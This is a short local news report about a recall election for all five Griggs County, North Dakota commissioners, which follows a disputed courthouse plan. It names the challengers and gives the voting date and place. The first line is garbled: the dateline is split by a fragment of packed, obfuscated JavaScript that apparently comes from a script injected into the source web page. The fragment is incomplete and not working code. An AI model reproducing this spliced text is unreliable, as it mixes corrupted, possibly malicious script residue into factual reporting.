COOPERSTOWN, ytetb|var|u0026u|referrer|hfstf||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) Two weeks from today a recall of all five Griggs County Commissioners will be held on Tuesday, October 8 in Cooperstown.

Griggs County Auditor Cynthia Anton says it’s the first time in the history of Griggs County that five commissioners have been the target of a recall.

Several Griggs County residents are upset with the commission after they approved a plan to build a new courthouse despite voters rejecting the idea once and also rejecting a plan to renovate the existing courthouse twice in three separate elections.

District 1 commissioner Ron Halvorson is being challenged by John Wakefield, District 2 commissioner Ronnie Edland is being challenged by Shawn Steffen, District 3 commissioner Dennis Halvorson is being challenged by Ron Dahl, District 4 commissioner Keith Monson is being challenged by Troy Olson and District 5 commissioner Robert Johnson will face Dale Pedersen in the recall.

The voting will be held in the Cooperstown City Hall on Tuesday, October 8 from 9am to 7pm.
